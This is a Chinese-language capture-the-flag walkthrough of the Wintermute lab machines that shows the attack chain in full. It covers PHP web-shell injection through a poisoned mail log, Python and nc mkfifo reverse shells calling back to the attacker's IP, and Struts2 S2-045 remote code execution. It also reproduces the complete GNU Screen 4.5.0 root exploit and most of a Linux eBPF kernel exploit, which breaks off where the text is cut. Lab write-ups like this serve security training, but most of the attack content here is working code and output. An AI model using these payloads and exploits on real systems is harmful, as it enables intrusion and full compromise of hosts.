![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub160.jpg)

从上面的屏幕截图中，可以看到一些日志文件（突出显示）。根据经验，目录遍历，可以在浏览器中执行可写文件。因此，尝试将../../../log/mail附加到浏览器中的URL，如下所示：

``` bash
http://192.168.56.111//turing-bolo/bolo.php?bolo=../../../log/mail
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub161.jpg)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub162.jpg)

使用下面的url也可以

``` bash
http://192.168.56.111//turing-bolo/bolo.php?bolo=/var/log/mail
```

#### getshell

有用。现在，让尝试使用telnet发送恶意邮件。在邮件主题中包括一些php代码。

``` bash
root@kali:~# telnet 192.168.56.111 25
Trying 192.168.56.111...
Connected to 192.168.56.111.
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
HELO hack.com
250 straylight
MAIL FROM: hacker@hack.com
250 2.1.0 Ok
RCPT TO: wintermute@localhost.com
454 4.7.1 <wintermute@localhost.com>: Relay access denied
RCPT TO: wintermute
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
subject: <?php system($_REQUEST['luci']); ?>
hacked!!
.
250 2.0.0 Ok: queued as EC8E454D7
quit
221 2.0.0 Bye
Connection closed by foreign host.
```

现在再次包含mail.log文件，但是这次发送第二个GET参数luci，该参数将执行我们的命令。

``` bash
http://192.168.56.111//turing-bolo/bolo.php?bolo=/var/log/mail&luci=id
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub163.jpg)

可以看到成功执行命令，现在构造以下的poc以获得一个reverse shell

``` bash
http://192.168.56.111/turing-bolo/bolo.php?bolo=/var/log/mail&luci=python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.56.102',9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
```
可以看到kali端成功弹回了shell

``` bash
root@kali:~# nc -lvp 9999
listening on [any] 9999 ...
192.168.56.109: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.109] 48508
bash: cannot set terminal process group (771): Inappropriate ioctl for device
bash: no job control in this shell
www-data@straylight:/var/www/html/turing-bolo$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@straylight:/var/www/html/turing-bolo$ whoami
whoami
www-data
```
#### 提权

查看是否有可提权的SUID文件

``` bash
www-data@straylight:/var/www/html/turing-bolo$ find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/bin/su
/bin/umount
/bin/mount
/bin/screen-4.5.0
/bin/ping
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/newgrp
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
```

在screen-4.5.0上运行searchsploit将返回漏洞，以提升权限，完美！

``` bash
root@kali:~# searchsploit screen 4.5
-------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                |  Path
                                                              | (/usr/share/exploitdb/)
-------------------------------------------------------------- ----------------------------------------
GNU Screen 4.5.0 - Local Privilege Escalation                 | exploits/linux/local/41154.sh
GNU Screen 4.5.0 - Local Privilege Escalation (PoC)           | exploits/linux/local/41152.txt
-------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
```

看一下exp的源码

``` bash
root@kali:~# cat /usr/share/exploitdb/exploits/linux/local/41154.sh
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshellr
```

运行以下sed命令将脚本格式换行和缩进转化一下，脚本才能正常运行

``` bash
root@kali:~/41154# sed -i -e 's/\r$//' 41154.sh
```

``` bash
root@kali:~/41154# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
```

转换为tty标准的shell

``` bash
python -c "import pty;pty.spawn('/bin/bash')"
```

如下成功运行脚本，成功提权，帅爆了。。。

``` bash
www-data@straylight:/var/www/html/turing-bolo$ wget http://192.168.56.102:8000/41154.sh
<ring-bolo$ wget http://192.168.56.102:8000/41154.sh
--2020-01-15 01:30:12--  http://192.168.56.102:8000/41154.sh
Connecting to 192.168.56.102:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1151 (1.1K) [text/x-sh]
Saving to: '41154.sh'

41154.sh            100%[===================>]   1.12K  --.-KB/s    in 0s      

2020-01-15 01:30:12 (415 MB/s) - '41154.sh' saved [1151/1151]

www-data@straylight:/var/www/html/turing-bolo$ chmod 777 *
chmod 777 *
www-data@straylight:/var/www/html/turing-bolo$ ls
ls
41154.sh      bolo.css  c7.png    css         molly.log    ta.png
armitage.log  bolo.php  case.log  index.html  riviera.log
www-data@straylight:/var/www/html/turing-bolo$ ./41154.sh
./41154.sh
~ gnu/screenroot ~
[+] First, we create our shell and library...
/tmp/libhax.c: In function 'dropshell':
/tmp/libhax.c:7:5: warning: implicit declaration of function 'chmod' [-Wimplicit-function-declaration]
     chmod("/tmp/rootshell", 04755);
     ^~~~~
/tmp/rootshell.c: In function 'main':
/tmp/rootshell.c:3:5: warning: implicit declaration of function 'setuid' [-Wimplicit-function-declaration]
     setuid(0);
     ^~~~~~
/tmp/rootshell.c:4:5: warning: implicit declaration of function 'setgid' [-Wimplicit-function-declaration]
     setgid(0);
     ^~~~~~
/tmp/rootshell.c:5:5: warning: implicit declaration of function 'seteuid' [-Wimplicit-function-declaration]
     seteuid(0);
     ^~~~~~~
/tmp/rootshell.c:6:5: warning: implicit declaration of function 'setegid' [-Wimplicit-function-declaration]
     setegid(0);
     ^~~~~~~
/tmp/rootshell.c:7:5: warning: implicit declaration of function 'execvp' [-Wimplicit-function-declaration]
     execvp("/bin/sh", NULL, NULL);
     ^~~~~~
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.

# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
# whoami
whoami
root
```

读取flag

``` bash
# cd /root
cd /root
# ls
ls
flag.txt  note.txt  scripts
# cat note.txt
cat note.txt
Devs,

Lady 3Jane has asked us to create a custom java app on Neuromancer's primary server to help her interact w/ the AI via a web-based GUI.

The engineering team couldn't strss enough how risky that is, opening up a Super AI to remote access on the Freeside network. It is within out internal admin network, but still, it should be off the network completely. For the sake of humanity, user access should only be allowed via the physical console...who knows what this thing can do.

Anyways, we've deployed the war file on tomcat as ordered - located here:

/struts2_2.3.15.1-showcase

It's ready for the devs to customize to her liking...I'm stating the obvious, but make sure to secure this thing.

Regards,

Bob Laugh
Turing Systems Engineer II
Freeside//Straylight//Ops5
# cat flag.txt
cat flag.txt
5ed185fd75a8d6a7056c96a436c6d8aa
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub164.jpg)

winterMute第一部分到此结束

 - 总结：
 1.弱口令
 2.文件包含
 3.telnet发送恶意邮件写shell
 4.python reverse shell
 5.Screen 4.5.0本地提权
 6.用(sed -i -e 's/\r$//')将exp换行和缩进和格式变得可执行

#### Wintermute-Neuromancer

之前的note.txt向显示一个可能的网络目录。但是，当不知道Neuromancer上的哪些端口打开时，这是没有用的。查看Straylight的arp表将告诉我们Neuromancer的地址，即192.168.56.110。

``` bash
# arp -a
arp -a
? (192.168.56.102) at 00:0c:29:70:75:41 [ether] on enp0s8
? (192.168.56.110) at 08:00:27:de:b9:3d [ether] on enp0s8
? (192.168.56.1) at 0a:00:27:00:00:19 [ether] on enp0s8
? (192.168.56.100) at 08:00:27:25:3d:8a [ether] on enp0s8
```

``` bash
# ifconfig
ifconfig
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.56.111  netmask 255.255.255.0  broadcast 192.168.56.255
        inet6 fe80::a00:27ff:fe50:96d9  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:50:96:d9  txqueuelen 1000  (Ethernet)
        RX packets 771  bytes 65226 (63.6 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 21  bytes 2052 (2.0 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

enp0s8: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.56.109  netmask 255.255.255.0  broadcast 192.168.56.255
        inet6 fe80::a00:27ff:fea9:7af0  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:a9:7a:f0  txqueuelen 1000  (Ethernet)
        RX packets 197671  bytes 11899335 (11.3 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 197077  bytes 14611455 (13.9 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1  (Local Loopback)
        RX packets 415522  bytes 33365253 (31.8 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 415522  bytes 33365253 (31.8 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

也可以写一个脚本探测存活的主机

``` bash
#!/bin/bash

for ip in $(seq 1 254); do
   ping -c 1 192.168.56.$ip | grep "bytes from" | cut -d " " -f 4 | cut -d ":" -f 1 &
done
```

``` bash
# ./pingsweep.sh
./pingsweep.sh
192.168.56.100
192.168.56.102
192.168.56.111
192.168.56.110
192.168.56.109
```

其中192.168.56.102是kali的ip，192.168.56.109，和192.168.56.111都是Straylight的ip，192.168.56.100是vbox Host-only Adapter网卡的网关地址，剩下的192.168.56.110就是Neuromancer机器的ip地址。

使用nc扫描端口

``` bash
# for i in $(seq 1 65535); do nc -nvz -w 1 192.168.56.110 $i 2>&1; done | grep -v "Connection refused"
for i in $(seq 1 65535); do nc -nvz -w 1 192.168.56.110 $i 2>&1; done | grep -v "Connection refused"
(UNKNOWN) [192.168.56.110] 8009 (?) open
(UNKNOWN) [192.168.56.110] 8080 (http-alt) open
(UNKNOWN) [192.168.56.110] 34483 (?) open
```

这里有三个开放的端口8009、8080和34483，但是问题是，如果尝试访问IP和端口，将看不到任何内容。为了能够加入它们，必须进行端口转发。对于端口转发，可以使用socat之类的socat，如socat TCP-LISTEN：5000,fork,reuseaddr tcp：127.0.0.1：8080，这意味着8080上的网站应该在外部的5000端口上可见。但是，由于需要处理三个端口，必须在每个命令的末尾加上＆。＆in nix告诉系统执行命令并将其置于后台。简而言之，将执行以下命令。

``` bash
# socat TCP-LISTEN:8009,fork,reuseaddr tcp:192.168.56.110:8009 &
socat TCP-LISTEN:8009,fork,reuseaddr tcp:192.168.56.110:8009 &
# socat TCP-LISTEN:8000,fork,reuseaddr tcp:192.168.56.110:8080 &
socat TCP-LISTEN:8000,fork,reuseaddr tcp:192.168.56.110:8080 &
# socat TCP-LISTEN:34483,fork,reuseaddr tcp:192.168.56.110:34483 &
socat TCP-LISTEN:34483,fork,reuseaddr tcp:192.168.56.110:34483 &
```

然后上nmap

``` bash
root@kali:~# nmap -sV -v -p 8009,8080,34483 -Pn -A --script=vuln 192.168.56.110
PORT      STATE SERVICE VERSION
8009/tcp  open  ajp13   Apache Jserv (Protocol v1.3)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
8080/tcp  open  http    Apache Tomcat 9.0.0.M26
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /examples/: Sample scripts
|   /manager/html/upload: Apache Tomcat (401 )
|   /manager/html: Apache Tomcat (401 )
|_  /docs/: Potentially interesting folder
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_      http://ha.ckers.org/slowloris/
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
34483/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
```

然后访问之前note.txt中提到的url

``` bash
http://192.168.56.110:8080/struts2_2.3.15.1-showcase/showcase.action
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub165.jpg)

Apache struts有一些已知的漏洞利用。当使用searchsploit搜索“apache struts”时，可以看到许多可能的利用。

``` bash
root@kali:~# searchsploit apache struts
------------------------------------------------------------------------------------------------ ----------------------------------------
 Exploit Title                                                                                  |  Path                                  
                                                                                                | (/usr/share/exploitdb/)                
------------------------------------------------------------------------------------------------ ----------------------------------------
Apache Struts - 'ParametersInterceptor' Remote Code Execution (Metasploit)                      | exploits/multiple/remote/24874.rb
Apache Struts - ClassLoader Manipulation Remote Code Execution (Metasploit)                     | exploits/multiple/remote/33142.rb
Apache Struts - Developer Mode OGNL Execution (Metasploit)                                      | exploits/java/remote/31434.rb
Apache Struts - Dynamic Method Invocation Remote Code Execution (Metasploit)                    | exploits/linux/remote/39756.rb
Apache Struts - Multiple Persistent Cross-Site Scripting Vulnerabilities                        | exploits/multiple/webapps/18452.txt
Apache Struts - OGNL Expression Injection                                                       | exploits/multiple/remote/38549.txt
Apache Struts - REST Plugin With Dynamic Method Invocation Remote Code Execution                | exploits/multiple/remote/43382.py
Apache Struts - REST Plugin With Dynamic Method Invocation Remote Code Execution (Metasploit)   | exploits/multiple/remote/39919.rb
Apache Struts - includeParams Remote Code Execution (Metasploit)                                | exploits/multiple/remote/25980.rb
Apache Struts 1.2.7 - Error Response Cross-Site Scripting                                       | exploits/multiple/remote/26542.txt
Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution (Metasploit)                 | exploits/multiple/remote/27135.rb
Apache Struts 2 - Namespace Redirect OGNL Injection (Metasploit)                                | exploits/multiple/remote/45367.rb
Apache Struts 2 - Skill Name Remote Code Execution                                              | exploits/multiple/remote/37647.txt
Apache Struts 2 - Struts 1 Plugin Showcase OGNL Code Execution (Metasploit)                     | exploits/multiple/remote/44643.rb
Apache Struts 2 < 2.3.1 - Multiple Vulnerabilities                                              | exploits/multiple/webapps/18329.txt
Apache Struts 2.0 - 'XSLTResult.java' Arbitrary File Upload                                     | exploits/java/webapps/37009.xml
Apache Struts 2.0.0 < 2.2.1.1 - XWork 's:submit' HTML Tag Cross-Site Scripting                  | exploits/multiple/remote/35735.txt
Apache Struts 2.0.1 < 2.3.33 / 2.5 < 2.5.10 - Arbitrary Code Execution                          | exploits/multiple/remote/44556.py
Apache Struts 2.0.9/2.1.8 - Session Tampering Security Bypass                                   | exploits/multiple/remote/36426.txt
Apache Struts 2.2.1.1 - Remote Command Execution (Metasploit)                                   | exploits/multiple/remote/18984.rb
Apache Struts 2.2.3 - Multiple Open Redirections                                                | exploits/multiple/remote/38666.txt
Apache Struts 2.3 < 2.3.34 / 2.5 < 2.5.16 - Remote Code Execution (1)                           | exploits/linux/remote/45260.py
Apache Struts 2.3 < 2.3.34 / 2.5 < 2.5.16 - Remote Code Execution (2)                           | exploits/multiple/remote/45262.py
Apache Struts 2.3.5 < 2.3.31 / 2.5 < 2.5.10 - 'Jakarta' Multipart Parser OGNL Injection (Metasp | exploits/multiple/remote/41614.rb
Apache Struts 2.3.5 < 2.3.31 / 2.5 < 2.5.10 - Remote Code Execution                             | exploits/linux/webapps/41570.py
Apache Struts 2.3.x Showcase - Remote Code Execution                                            | exploits/multiple/webapps/42324.py
Apache Struts 2.5 < 2.5.12 - REST Plugin XStream Remote Code Execution                          | exploits/linux/remote/42627.py
Apache Struts < 1.3.10 / < 2.3.16.2 - ClassLoader Manipulation Remote Code Execution (Metasploi | exploits/multiple/remote/41690.rb
Apache Struts < 2.2.0 - Remote Command Execution (Metasploit)                                   | exploits/multiple/remote/17691.rb
Apache Struts2 2.0.0 < 2.3.15 - Prefixed Parameters OGNL Injection                              | exploits/multiple/webapps/44583.txt
------------------------------------------------------------------------------------------------ ----------------------------------------
```

从github上面clone [struts-pwn项目](https://github.com/mazen160/struts-pwn)

``` bash
root@kali:~/struts-pwn# python3 struts-pwn.py -u http://192.168.56.110:8080/struts2_2.3.15.1-showcase/showcase.action --check

[*] URL: http://192.168.56.110:8080/struts2_2.3.15.1-showcase/showcase.action
[*] Status: Vulnerable!
[%] Done.
```
表示存在CVE:2017-5638 - Apache Struts2 S2-045漏洞

#### getshell

然后运行下面命令获得一个revese shell

``` bash
root@kali:~/struts-pwn# python3 struts-pwn.py -u http://192.168.56.110:8080/struts2_2.3.15.1-showcase/showcase.action -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 9999 >/tmp/f"

[*] URL: http://192.168.56.110:8080/struts2_2.3.15.1-showcase/showcase.action
[*] CMD: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 9999 >/tmp/f
EXCEPTION::::--> HTTPConnectionPool(host='192.168.56.110', port=8080): Read timed out. (read timeout=3)
ERROR
[%] Done.
```

nc命令获得可交互的shell:

``` bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 9999 >/tmp/f
```

成功的弹回了shell

``` bash
root@kali:~# nc -lvp 9999
listening on [any] 9999 ...
192.168.56.110: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.110] 55378
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(ta) gid=1000(ta) groups=1000(ta),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
$ whoami
ta
```

获得了Neuromancer的权限！检查“ta”用户的home目录将显示一些有趣的内容。此注释将显示tomcat目录。

``` bash
$ cat ai-gui-guide.txt
Application for Neuromancer remote access interface includes:

-Maven    - /opt/
-Java jdk - /usr/lib/jvm/
-Tomcat   - /usr/local/tomcat/
-Struts2  - /home/ta/myWebApp/
          - war files are in /root. Update these ASAP to improve security.

Reduce installation of apps to ONLY what's needed, seucure configurations and follow app security best practices.
```

Tomcat将用户和密码存储在名为“tomcat-users.xml”的文件中。读取该文件将显示系统上另一个用户“lady3jane”的密码。

``` bash
$ cat tomcat-users.xml
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
<!--
Eng.,

Tomcat is still using basic auth. I encoded the password so the AI's security scans don't flag it.

Is this what Bob keeps talking about, "Security by obscurity?"

Ed Occam//Sys.Engineer I//Night City
"Harry, I took care of it" - Llyod Christmas
-->

  <role rolename="manager-gui"/>
  <user username="Lady3Jane" password="&gt;&#33;&#88;&#120;&#51;&#74;&#97;&#110;&#101;&#120;&#88;&#33;&lt;" roles="manager-gui"/>

<!--
  <role rolename="role1"/>
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>
-->
</tomcat-users>
```

 - 此外还可以通过struts 2漏洞利用工具来上传冰蝎木马来getshell :)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub167.jpg)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub168.jpg)

#### 提权1

将

``` bash
&gt;&#33;&#88;&#120;&#51;&#74;&#97;&#110;&#101;&#120;&#88;&#33;&lt;
```

html编码解密得到：>!Xx3JanexX!<

然后使用：lady3jane/>!Xx3JanexX!<连接ssh

``` bash
root@kali:~# ssh lady3jane@192.168.56.110 -p 34483
 ----------------------------------------------------------------
|                Neuromancer Secure Remote Access                |
| UNAUTHORIZED ACCESS will be investigated by the Turing Police  |
 ----------------------------------------------------------------
lady3jane@192.168.56.110's password: 
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

94 packages can be updated.
44 updates are security updates.


Last login: Wed Jan 15 23:19:21 2020 from 192.168.56.102
lady3jane@neuromancer:~$ id
uid=1001(lady3jane) gid=1001(lady3jane) groups=1001(lady3jane)
lady3jane@neuromancer:~$ whoami
lady3jane
```

现在，在lady3jane的主目录中，有一个文件可能每隔几分钟就会由cron执行一次。

``` bash
lady3jane@neuromancer:~$ cat custom-tomcat-chk.sh
#!/bin/bash
# Health check for Neuromancer (root) to execute every 3 minutes.
# ..the AI tells me it can maintain security, server health, etc w/o forced intervention,
# but I beg to differ...hence the cron script.

> /tmp/tomcat_status.log

health=$(curl -m 5 -Is 127.0.0.1:8080 |grep HTTP/1.1)

case "$health" in

  *200*)
        echo "Tomcat is Up" > /tmp/tomcat_status.log
        ;;
  *)
        echo "Tomcat is down" > /tmp/tomcat_status.log
        ;;
  esac
```

但是，无法利用这一点。看来这将永远不会被执行。因此，决定改用易受攻击的内核。可以找到所使用的内核漏洞的链接[Linux-Kernel-4-4-0-116-Ubuntu-16-04-4-LocalPrivilege-Escalation](https://www.exploit-db.com/exploits/44298)

来看一下内核提权的exp，很美。。。我何时才能达到这种水平呢？？？  :):):):):):):):):):):):)

``` bash
root@kali:~# cat 44298.c 
/*
 * Ubuntu 16.04.4 kernel priv esc
 *
 * all credits to @bleidl
 * - vnik
 */

// Tested on:
// 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
// if different kernel adjust CRED offset + check kernel stack size
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <stdint.h>

#define PHYS_OFFSET 0xffff880000000000
#define CRED_OFFSET 0x5f8
#define UID_OFFSET 4
#define LOG_BUF_SIZE 65536
#define PROGSIZE 328

int sockets[2];
int mapfd, progfd;

char *__prog =  "\xb4\x09\x00\x00\xff\xff\xff\xff"
                "\x55\x09\x02\x00\xff\xff\xff\xff"
                "\xb7\x00\x00\x00\x00\x00\x00\x00"
                "\x95\x00\x00\x00\x00\x00\x00\x00"
                "\x18\x19\x00\x00\x03\x00\x00\x00"
                "\x00\x00\x00\x00\x00\x00\x00\x00"
                "\xbf\x91\x00\x00\x00\x00\x00\x00"
                "\xbf\xa2\x00\x00\x00\x00\x00\x00"
                "\x07\x02\x00\x00\xfc\xff\xff\xff"
                "\x62\x0a\xfc\xff\x00\x00\x00\x00"
                "\x85\x00\x00\x00\x01\x00\x00\x00"
                "\x55\x00\x01\x00\x00\x00\x00\x00"
                "\x95\x00\x00\x00\x00\x00\x00\x00"
                "\x79\x06\x00\x00\x00\x00\x00\x00"
                "\xbf\x91\x00\x00\x00\x00\x00\x00"
                "\xbf\xa2\x00\x00\x00\x00\x00\x00"
                "\x07\x02\x00\x00\xfc\xff\xff\xff"
                "\x62\x0a\xfc\xff\x01\x00\x00\x00"
                "\x85\x00\x00\x00\x01\x00\x00\x00"
                "\x55\x00\x01\x00\x00\x00\x00\x00"
                "\x95\x00\x00\x00\x00\x00\x00\x00"
                "\x79\x07\x00\x00\x00\x00\x00\x00"
                "\xbf\x91\x00\x00\x00\x00\x00\x00"
                "\xbf\xa2\x00\x00\x00\x00\x00\x00"
                "\x07\x02\x00\x00\xfc\xff\xff\xff"
                "\x62\x0a\xfc\xff\x02\x00\x00\x00"
                "\x85\x00\x00\x00\x01\x00\x00\x00"
                "\x55\x00\x01\x00\x00\x00\x00\x00"
                "\x95\x00\x00\x00\x00\x00\x00\x00"
                "\x79\x08\x00\x00\x00\x00\x00\x00"
                "\xbf\x02\x00\x00\x00\x00\x00\x00"
                "\xb7\x00\x00\x00\x00\x00\x00\x00"
                "\x55\x06\x03\x00\x00\x00\x00\x00"
                "\x79\x73\x00\x00\x00\x00\x00\x00"
                "\x7b\x32\x00\x00\x00\x00\x00\x00"
                "\x95\x00\x00\x00\x00\x00\x00\x00"
                "\x55\x06\x02\x00\x01\x00\x00\x00"
                "\x7b\xa2\x00\x00\x00\x00\x00\x00"
                "\x95\x00\x00\x00\x00\x00\x00\x00"
                "\x7b\x87\x00\x00\x00\x00\x00\x00"
                "\x95\x00\x00\x00\x00\x00\x00\x00";

char bpf_log_buf[LOG_BUF_SIZE];

static int bpf_prog_load(enum bpf_prog_type prog_type,
                  const struct bpf_insn *insns, int prog_len,
                  const char *license, int kern_version) {
        union bpf_attr attr = {
                .prog_type = prog_type,
                .insns = (__u64)insns,
                .insn_cnt = prog_len / sizeof(struct bpf_insn),
                .license = (__u64)license,
                .log_buf = (__u64)bpf_log_buf,
                .log_size = LOG_BUF_SIZE,
                .log_level = 1,
        };

        attr.kern_version = kern_version;

        bpf_log_buf[0] = 0;

        return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}

static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
                   int max_entries) {
        union bpf_attr attr = {
                .map_type = map_type,
                .key_size = key_size,
                .value_size = value_size,
                .max_entries = max_entries
        };

        return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}

static int bpf_update_elem(uint64_t key, uint64_t value) {
        union bpf_attr attr = {
                .map_fd = mapfd,
                .key = (__u64)&key,
                .value = (__u64)&value,
                .flags = 0,
        };

        return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}

static int bpf_lookup_elem(void *key, void *value) {
        union bpf_attr attr = {
                .map_fd = mapfd,
                .key = (__u64)key,
                .value = (__u64)value,
        };

        return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}

static void __exit(char *err) {
        fprintf(stderr, "error: %s\n", err);
        exit(-1);
}

static void prep(void) {
        mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
        if (mapfd < 0)
                __exit(strerror(errno));

        progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
                        (struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);

        if (progfd < 0)
                __exit(strerror(errno));

        if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
                __exit(strerror(errno));

        if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
                __exit(strerror(errno));
}

static void writemsg(void) {
        char buffer[64];

        ssize_t n = write(sockets[0], buffer, sizeof(buffer));

        if (n < 0) {
                perror("write");
                return;
        }
        if (n != sizeof(buffer))
                fprintf(stderr, "short write: %lu\n", n);
}

#define __update_elem(a, b, c) \
        bpf_update_elem(0, (a)); \
        bpf_update_elem(1, (b)); \
        bpf_update_elem(2, (c)); \
        writemsg();

static uint64_t get_value(int key) {
        uint64_t value;

        if (bpf_lookup_elem(&key, &value))
                __exit(strerror(errno));

        return value;
}

static uint64_t __get_fp(void) {
        __update_elem(1, 0, 0);

        return get_value(2);
}

static uint64_t __read(uint64_t addr) {
        __update_elem(0, addr, 0);

        return get_value(2);
}

static void __write(uint64_t addr, uint64_t val) {
        __update_elem(2, addr, val);
}

static uint64_t get_sp(uint64_t addr) {
        return addr & ~(0x4000 - 1);
}

static void pwn(void) {
        uint64_t fp, sp, task_struct, credptr, uidptr;

        fp = __get_fp();
        if (fp < PHYS_OFFSET)
                __exit("bogus fp");

        sp = get_sp(fp);
        if (sp < PHYS_OFFSET)
                __exit("bogus sp");

        task_struct = __read(sp);

        if (task_struct < PHYS_OFFSET)
                __exit("bogus task ptr");

        printf("task_struct = %lx\n", task_struct);

        credptr = __read(task_struct + CRED_OFFSET); // cred

        if (credptr < PHYS_OFFSET)
                __exit("bogus cred ptr");

        uidptr = credptr + UID_OFFSET; // uid
        if (uidptr < PHYS_OFFSET)
                __exit("bogus uid ptr");

